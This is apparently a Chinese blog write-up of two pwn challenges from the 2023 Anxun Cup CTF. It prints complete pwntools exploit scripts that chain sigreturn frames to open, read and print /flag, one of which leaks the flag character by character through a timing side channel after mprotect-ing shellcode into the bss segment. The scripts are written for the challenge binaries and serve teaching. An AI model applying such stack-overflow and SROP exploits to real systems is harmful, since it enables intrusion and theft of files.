2023年安洵杯_pwn_个人writeup

本次安洵杯有三个题,最后一个QQ的题目由于放题的时候已经出门了,所以没有拿到附件。(看了wp感觉目前的我还不太会…真的很需要努力!)

第一道side_channels其实思路非常常规,比赛的时候因为下午要出去玩,看到没write就…没看了…复现的时候直接秒了

side_channels(基于时间盲注)

常规侧信道,沙箱,可以用openreadmprotectrt_sigreturn。然后是常规栈溢出,栈溢出前可以在bss段写值。

那么思路非常明确了,首先可以通过sropbss上写rop链,先open,再read,然后通过mprotect改变一下bss段的执行权限。接着继续写shellcode,基于时间盲注爆破flag即可。

from pwn import *
from LibcSearcher import *

filename = './chall'
context(arch='amd64')
local = 1
all_logs = []
elf = ELF(filename)
# libc = ELF('')


def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid, 'b *0x401447')
    pause()

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

bss_buf = 0x404060
leave_ret = 0x401446
srop_rax = 0x401193
syscall_addr = 0x40118a

chars_dict = '!\{\}_abcdefghijklmnopqrstuvwxyz0123456789'
result = ''
i = 0
while True:

    for char in chars_dict:
        if local:
            sh = process(filename)
        else:
            sh = remote('node4.buuoj.cn', )
        frame = SigreturnFrame()
        frame.rax = constants.SYS_open
        frame.rdi = bss_buf
        frame.rsi = 0
        frame.rdx = 0
        frame.rsp = bss_buf + 0x120
        frame.rbp = bss_buf + 0x120
        frame.rip = syscall_addr

        rop_chain = b'/flag\x00aa' + p64(srop_rax) + p64(syscall_addr) + bytes(frame)

        frame = SigreturnFrame()
        frame.rax = constants.SYS_read
        frame.rdi = 3
        frame.rsi = bss_buf + 0x9a0
        frame.rdx = 0x30
        frame.rsp = bss_buf + 0x240
        frame.rbp = bss_buf + 0x240
        frame.rip = syscall_addr

        rop_chain = rop_chain.ljust(0x120, b'\x00') + p64(0xdeadbeaf) + p64(srop_rax) + p64(syscall_addr) + bytes(frame)

        frame = SigreturnFrame()
        frame.rax = constants.SYS_mprotect
        frame.rdi = 0x404000
        frame.rsi = 0x1000
        frame.rdx = 7
        frame.rsp = bss_buf + 0x360
        frame.rbp = bss_buf + 0x360
        frame.rip = syscall_addr

        rop_chain = rop_chain.ljust(0x240, b'\x00') + p64(0xdeadbeaf) + p64(srop_rax) + p64(syscall_addr) + bytes(frame)

        flag_addr = 0x404A00
        shellcode = asm('''mov rcx, 0x404a00
        mov dl, byte ptr [rcx + %d]
        cmp dl, %d
        jz $-3
        ''' % (i, ord(char)))
        rop_chain = rop_chain.ljust(0x360, b'\x00') + p64(0xdeadbeaf) + p64(bss_buf + 0x370) + shellcode

        sh.sendafter(b'easyhack\n', rop_chain)
        payload = b'a'*0x2a + p64(bss_buf) + p64(leave_ret)
        sh.sendafter(b'Do u know what is SUID?\n', payload)
        if not sh.can_recv(timeout=3):
            result += char
            i += 1
            print(result)
            if char == ord('}'):
                exit(0)
            sh.close()
            continue
        sh.close()

seccomp(常规srop)

非常常规的白给srop,和上一道题的区别在于给了write系统调用,直接梭哈

from pwn import *
from LibcSearcher import *

filename = './chall'
context(log_level='debug', arch='amd64')
local = 0
all_logs = []
elf = ELF(filename)
# libc = ELF('')

if local:
    sh = process(filename)
else:
    sh = remote('47.108.206.43', 30079)

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

bss_buf = 0x404060
leave_ret = 0x40143C
srop_rax = 0x401193
syscall_addr = 0x401186
syscall_addr_ret = 0x40118a

frame = SigreturnFrame()
frame.rax = constants.SYS_open
frame.rdi = bss_buf
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr_ret
frame.rbp = bss_buf + 0x120
frame.rsp = bss_buf + 0x120

rop_chain = b'/flag\x00aa' + p64(srop_rax) + p64(syscall_addr_ret) + bytes(frame)

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 3
frame.rsi = 0x405060
frame.rdx = 0x30
frame.rip = syscall_addr_ret
frame.rsp = bss_buf + 0x240

rop_chain = rop_chain.ljust(0x120, b'\x00') + p64(0xdeadbeaf) + p64(srop_rax) + p64(syscall_addr_ret) + bytes(frame)

frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = 1
frame.rsi = 0x405060
frame.rdx = 0x30
frame.rip = syscall_addr_ret
rop_chain = rop_chain.ljust(0x240, b'\x00') + p64(0xdeadbeaf) + p64(srop_rax) + p64(syscall_addr_ret) + bytes(frame)

sh.sendafter('easyhack\n', rop_chain)
payload = b'a'*0x2a + p64(bss_buf) + p64(leave_ret)
# debug()
sh.send(payload)
# pause()
sh.recvuntil(b'\x0a')
print(sh.recvuntil(b'\x0a', drop=True).decode('utf-8'))
  • 9
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值